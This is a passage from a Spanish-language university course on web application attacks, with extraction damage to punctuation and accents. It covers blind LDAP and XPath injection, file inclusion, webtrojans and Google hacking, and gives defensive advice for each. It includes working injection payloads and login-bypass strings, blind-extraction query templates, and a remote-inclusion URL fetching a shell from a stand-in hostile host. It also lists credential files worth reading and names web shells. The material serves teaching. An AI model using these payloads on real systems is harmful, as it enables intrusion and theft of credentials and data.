Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
